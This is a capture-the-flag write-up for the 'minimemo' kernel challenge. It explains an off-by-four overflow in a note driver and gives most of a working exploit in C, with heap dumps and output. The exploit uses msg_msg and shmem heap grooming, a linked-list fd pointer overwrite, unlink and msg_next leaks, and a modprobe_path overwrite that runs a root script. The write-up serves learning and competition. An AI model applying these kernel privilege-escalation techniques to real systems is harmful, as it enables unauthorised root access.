minimemo
Description
Little notes for some little ideas.
nc 168.119.108.148 14010
Attachment: minimemo.tar.gz xpl.py pwn.c
Team: Super Guesser
minimemo was a heap note like kernel challenge, but it only allowed to add
/edit
/delete
notes on the kernel, so no easy leaks here.
The main bug for this challenge was in the edit function:
typedef struct
{
int id;
char data[20];
} note_t;
typedef struct
{
char data[20];
int id;
int size;
} request_t;
typedef struct notelist_t
{
note_t note;
struct notelist_t *fd;
struct notelist_t *bk;
} notelist_t;
case CMD_EDIT:
{
notelist_t *cur;
for (cur = top.fd; cur != ⊤ cur = cur->fd)
{
if (req.id == cur->note.id)
{
if (req.size < 0 || req.size >= NOTE_SIZE)
break;
memcpy(cur->note.data, req.data, req.size); // overflow into next chunk possible (4 bytes)
result = req.id;
break;
}
}
break;
}
The edit function checks the size of our requests, but compares it with NOTE_SIZE
(which will be 0x18
), but the note.data
field has only a size of 0x14
, so we can overwrite 4 bytes after note.data
.
But in our request
, we’ll need to specify the data to copy in the first 0x14
bytes followed by the id
of the note to edit. This means, we can overwrite the bytes after note.data
only with the id
from the note itself.
After note.data
will be cur->fd
, so we can overwrite the lower 4 bytes of the fd
pointer to point somewhere else (for now just with the id
of the note).
Since we have no kernel leaks by now, the best idea would be to arrange some objects in such a way, that we only need to overwrite the LSB of the fd
pointer to point it to somewhere useful.
To get an initial leak, I created two notes and a msg_seq
struct behind the second note (by creating an oversized msg_msg
).
To get a proper value for overwriting cur->fd
, I kept deleting and recreating the second note until the LSB of its id
matched the target address byte.
void* map = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_FIXED|MAP_PRIVATE, -1, 0);
...
for(int i=0; i<2; i++) {
key[i] = donew(fd);
}
while(1) {
key[2] = donew(fd);
if((key[2] & 0xff) == 0xc0) {
printf("Good key: %p\n", key[2]);
break;
}
else {
dodel(fd, key[2]);
}
}
memset(payload, 0x41, 0x2000);
lptr = &(payload[0xfd0+0x30+0x10]);
(*lptr++) = 0x1337000;
(*lptr++) = 0x1337100;
// Create msg_seq behind second note
msgalloc(qid, payload, 0xfd0 + 0x40 + 0x20);
// Overwrite lsb of note2->fd
doedit(fd, key[2], 0x15, payload);
// delete msg_msg seq to trigger unlink into mapped region
dodel(fd, 0x0);
The last edit, will overwrite the LSB of the fd
pointer with 0xc0
(from our forged id). This way, note2->fd
will point to the msg_seq
struct. In the msg_seq
struct, I prepared a fd
/bk
pointer, pointing into an mmapped region, so the unlink
from CMD_DEL
will not crash (it just needs two valid pointers).
Since the first qword of the msg_seq
struct will be 0x0
, we can then delete the note with id 0x0
(delete will traverse the node list, and since we corrupted the fd
pointer to the msg_seq
struct, it will try to delete that and unlink it from the note list).
After forging note 2 with a proper id and allocating msg_seq
heap looks like
0xffff888002e8f880: 0x0000000031b42bc0 0x0000000000000000 <= note 2 (LSB id ending in 0xc0)
0xffff888002e8f890: 0x0000000000000000 0xffff888002e8f840 <= note 2 FD
0xffff888002e8f8a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e8f8b0: 0x0000000000000000 0x0000000000000000
0xffff888002e8f8c0: 0x0000000000000000 0x4141414141414141 <= msg_seq
0xffff888002e8f8d0: 0x4141414141414141 0x0000000001337000 <= fake FD
0xffff888002e8f8e0: 0x0000000001337100 0x4141414141414141 <= fake BK
0xffff888002e8f8f0: 0x4141414141414141 0x0000000000000000
0xffff888002e8f900: 0x0000000000000024 0x0000003200000029
0xffff888002e8f910: 0x0000000000000000 0x0000000000000000
After overwriting the LSB of note2->fd
0xffff888002e8f880: 0x4141414131b42bc0 0x4141414141414141 <= note 2
0xffff888002e8f890: 0x4141414141414141 0xffff888002e8f8c0 <= note 2 FD (now pointing to msg_seq)
0xffff888002e8f8a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e8f8b0: 0x0000000000000000 0x0000000000000000
0xffff888002e8f8c0: 0x0000000000000000 0x4141414141414141 <= msg_seq (fake note with id 0x0)
0xffff888002e8f8d0: 0x4141414141414141 0x0000000001337000
0xffff888002e8f8e0: 0x0000000001337100 0x4141414141414141
0xffff888002e8f8f0: 0x4141414141414141 0x0000000000000000
After deleting the note with id 0x0
0xffff888002e8f880: 0x4141414131b42bc0 0x4141414141414141 <= note 2
0xffff888002e8f890: 0x4141414141414141 0xffff888002e8f8c0
0xffff888002e8f8a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e8f8b0: 0x0000000000000000 0x0000000000000000
0xffff888002e8f8c0: 0x0000000000000000 0x4141414141414141 <= msg_seq
0xffff888002e8f8d0: 0x4141414141414141 0x0000000001337000
0xffff888002e8f8e0: 0xffff888002e8f900 0x4141414141414141 <= updated bk pointer from CMD_DEL
0xffff888002e8f8f0: 0x4141414141414141 0x0000000000000000
0xffff888002e8f900: 0x0000000000000024 0x0000003200000029
The unlink functionality from CMD_DEL
now updated the bk
pointer of our fake chunk.
We can now just receive the complete msg_msg
again and get the first leak from it :)
// receive msg for kernel heap leak
msgrcv(qid, payload, 0xfd0+0x40+0x20, 1, 0);
unsigned long kleak = *((unsigned long*)&(payload[0xff0]));
printf("kernel leak : %p\n", kleak);
kernel leak : 0xffff888002e8f900
Having a leak to the note heap itself gives us more control, since we can now overwrite complete addresses. To have something useful on the note heap to begin with, I just did a shmem
spray to get some kernel addresses there (preferably an address in the same memory region as modprobe_path
).
After that, I used the fd lsb overwrite again, but this time, I let the fd
pointer point into the note itself, so that we can overwrite the complete fd
pointer with an arbitrary value.
Though manipulating the fd
pointer alone will not help us much, since we cannot show
notes, so we cannot use it to “directly” leak something.
For this, I also put a msg_msg
struct in the same heap, and then used the arbitrary overwrite to point the fd
of the note into the msg_msg
struct, so we can overwrite msg_size
and msg_next
. With this we can then do an arbitrary read (by pointing msg_next
to an address near the address we want to read and setting msg_size
> 0xfd0
).
unsigned long modprobe_target = kleak - 0x198;
printf("modprobe_target: %p\n", modprobe_target);
// put shmem structs on the note heap
spray_shmem(20, 0x40);
dodel(fd, key[2]);
// recreate second note until LSB would point into note itself
while(1) {
key[2] = donew(fd);
if((key[2] & 0xff) == 0x90) {
printf("Good key: %p\n", key[2]);
break;
}
else {
dodel(fd, key[2]);
}
}
// overwrite fd lsb with id lsb
doedit(fd, key[2], 0x15, payload);
// allocate msg_msg behind note
msgalloc(qid, payload, 0x40);
// prepare payload to overwrite note 2 fd
memset(payload, 0, 0x40);
lptr = &(payload[4]);
*lptr = kleak-0x30; // points into msg_msg struct
doedit(fd, 0x41414141, 0x4+8, payload);
// prepare payload to overwrite msg_msg
memset(payload, 0, 0x40);
lptr = &(payload[4]);
(*lptr++) = 0x2000; // msg_size
(*lptr++) = modprobe_target-8; // msg_next
doedit(fd, 0x1, 0x4+8+8, payload);
// receive corrupted msg_msg for leak
msgrcv(qid, payload, 0x2000, 1, 0);
unsigned long modprobe_leak = *((unsigned long*)&(payload[0xfd8]));
unsigned long modprobe = modprobe_leak - 0x7bfe0;
printf("modprobe leak : %p\n", modprobe_leak);
printf("modprobe : %p\n", modprobe);
Let’s see, what happens there…
After recreating note2 with a proper id:
0xffff888002e99880: 0x000000005e3cef90 0x0000000000000000 <= note 2 (lsb 0x90)
0xffff888002e99890: 0x0000000000000000 0xffff888002e998c0
0xffff888002e998a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e998b0: 0x0000000000000000 0x0000000000000000
0xffff888002e998c0: 0x0000000000000000 0x4141414141414141
0xffff888002e998d0: 0x4141414141414141 0x0000000001337000
0xffff888002e998e0: 0xffff888002e99880 0x4141414141414141
0xffff888002e998f0: 0x4141414141414141 0x0000000000000000
After overwriting the fd
of note 2 with 0x90
and allocating another msg_msg
:
0xffff888002e99880: 0x000000015e3cef90 0x4141414100000000 <= note 2
0xffff888002e99890: 0x4141414141414141 0xffff888002e99890 <= note 2 fd (=> points to note2+0x10)
0xffff888002e998a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e998b0: 0x0000000000000000 0x0000000000000000
0xffff888002e998c0: 0xffff888002e95cc0 0xffff888002e95cc0 <= msg_msg
0xffff888002e998d0: 0x0000000000000001 0x0000000000000010
0xffff888002e998e0: 0x0000000000000000 0x0000000000000000
0xffff888002e998f0: 0x4141414141414141 0x4141414141414141
0xffff888002e99900: 0x0000000000000000 0x0000000000000000
0xffff888002e99910: 0x0000000000000000 0x0000000000000000
After the next edit of note 2, we will have the fd
overwritten with a pointer into the msg_msg
struct.
0xffff888002e99880: 0x000000015e3cef90 0x4141414100000000 <= note 2
0xffff888002e99890: 0x0000000041414141 0xffff888002e998d0 <= note 2 fd (=> now points into msg_msg)
0xffff888002e998a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e998b0: 0x0000000000000000 0x0000000000000000
0xffff888002e998c0: 0xffff888002e95cc0 0xffff888002e95cc0 <= msg_msg
0xffff888002e998d0: 0x0000000000000001 0x0000000000000010 <= id / msg_size
0xffff888002e998e0: 0x0000000000000000 0x0000000000000000 <= msg_next
0xffff888002e998f0: 0x4141414141414141 0x4141414141414141
So, we now have a fake note inside msg_msg
with id = 0x1
. We can now edit this fake note to overwrite msg_size
and msg_next
.
0xffff888002e99880: 0x000000015e3cef90 0x4141414100000000 <= note 2
0xffff888002e99890: 0x0000000041414141 0xffff888002e998d0
0xffff888002e998a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e998b0: 0x0000000000000000 0x0000000000000000
0xffff888002e998c0: 0xffff888002e95cc0 0xffff888002e95cc0 <= msg_msg
0xffff888002e998d0: 0x0000000000000001 0x0000000000002000 <= id / msg_size (now 0x2000)
0xffff888002e998e0: 0xffff888002e99760 0x0000000000000000 <= msg_next (=> leaking address)
0xffff888002e998f0: 0x4141414141414141 0x4141414141414141
0xffff888002e99900: 0x0000000000000000 0x0000000000000000
gef➤ x/30gx 0xffff888002e99760
0xffff888002e99760: 0x0000000000000000 0xffffffff81eb27a0 <= fake msg_seq
0xffff888002e99770: 0xffff888002ec7080 0x0000000300000001
0xffff888002e99780: 0xffffffff81d0d184 0xffff888002e99788
0xffff888002e99790: 0xffff888002e99788 0xffffffffc0002190
0xffff888002e997a0: 0x0000000000000000 0xffffffff81eb27a0
0xffff888002e997b0: 0xffff888002ebf100 0x0000000300000001
So we now have a fake msg_msg
, which has a msg_seq
, which points to an address, which will be in the same memory region as modprobe_path
, perfect :)
Just receive the complete message:
modprobe leak : 0xffffffff81eb27a0
modprobe : 0xffffffff81e367c0
Now, we can abuse the lsb fd
overwrite one last time to overwrite the fd
pointer of a note with a pointer above modprobe_path
.
This time, I moved it a bit, so that the fd
pointer of the note will point to note + 0xc
. By doing this, we can overwrite the id
of the note and the fd
pointer in one go (it must not have an id of 0x0, since that will be the id of our precious modprobe chunk).
// Trying to fix remote issues ;)
key[3] = donew(fd);
key[4] = donew(fd);
while(1) {
key[4] = donew(fd);
if((key[4] & 0xff) == 0x8c) {
printf("Good key: %p\n", key[4]);
break;
}
else {
dodel(fd, key[4]);
}
}
// Overwrite fd lsb
doedit(fd, key[4], 0x15, payload);
lptr = &(payload[0]);
(*lptr++) = 0x1; // new note id
(*lptr++) = modprobe - 0x10+4; // fd => modprobe_path
doedit(fd, 0x0, 0x8+8, payload);
So, again, we recreate the note until the lsb of id
has a good value (0x8c
in this case). We’ll use it again to overwrite the fd
to make it point into the note itself (this fake chunk will have id 0x0
for now).
And we then edit this fake chunk, to overwrite the id with something != 0x0
and let the fd
point slightly above modprobe_path
.
0xffff888002e93880: 0x000000002145278c 0x0000000000000000 <= note 4 (id lsb 0x8c)
0xffff888002e93890: 0x0000000000000000 0xffff888002e938c0 <= note 4 fd
0xffff888002e938a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e938b0: 0x0000000000000000 0x0000000000000000
After overwriting fd
lsb
0xffff888002e93880: 0x000000002145278c 0x0000000000000000 <= note 4
0xffff888002e93890: 0x0000000000000000 0xffff888002e9388c <= note 4 id 0x0 / note 4 fd (=> note + 0xc)
0xffff888002e938a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e938b0: 0x0000000000000000 0x0000000000000000
After editing the fake note (id 0x0)
0xffff888002e93880: 0x000000002145278c 0x0000000000000000 <= note 4
0xffff888002e93890: 0x0000000000000001 0xffffffff81e367b4 <= note 4 id 0x1 / note 4 fd (=> modprobe path)
0xffff888002e938a0: 0xffffffffc0002100 0x0000000000000000
0xffff888002e938b0: 0x0000000000000000 0x0000000000000000
Everything prepared, we can now just overwrite modprobe_path
and do the “usual” modprobe copy flag exploit :)
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/c");
system("chmod +x /tmp/c");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
...
memset(payload, 0, 0x40);
strcpy(payload+8, "/tmp/c");
// overwrite modprobe_path with /tmp/c
doedit(fd, 0, 0x10, payload);
system("/tmp/dummy"); // trigger modprobe copy
system("cat /tmp/flag");
As always, my initial exploit didn’t work remote, so I had to completely rewrite it (like shown in this writeup).
But still, it was a little bit off on remote, so I had to allocate an additional 0x40
chunk at the start to make the exploit work (differed between local and remote execution via argc
, so the exploit has to be run with pwn 1
when running remote).
$ python xpl.py 1
[*] Compile
[+] Opening connection to 168.119.108.148 on port 14010: Done
[+] Starting local process './pow.py': pid 82506
Prefix => RAzo
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
$ ./pwn 1
Good key : 0x64028ac0
kernel leak : 0xffff9d7901a8e900
modprobe_target : 0xffff9d7901a8e768
Good key : 0x2e3d7890
modprobe leak : 0xffffffffbf6b27a0
modprobe : 0xffffffffbf6367c0
Good key : 0x43f32c8c
/tmp/dummy: line 1: \xff\xff\xff\xff: not found
ASIS{unl1nk_4tt4ck_1n_k3rn3l-l4nd_1s_5tr0ng!}
That was a very nice and fun challenge (as expected from ptr-yudai ;))
Though from reading the flag, this was maybe not completely the intended way, since I used the unlink just for the initial leak.
In hindsight, doing writes via abusing the unlink
might have been much easier (since there are no checks on fd
/bk
), but even after completely rewriting the exploit after it failed remote, it was still enough for first blood, so… shrug :)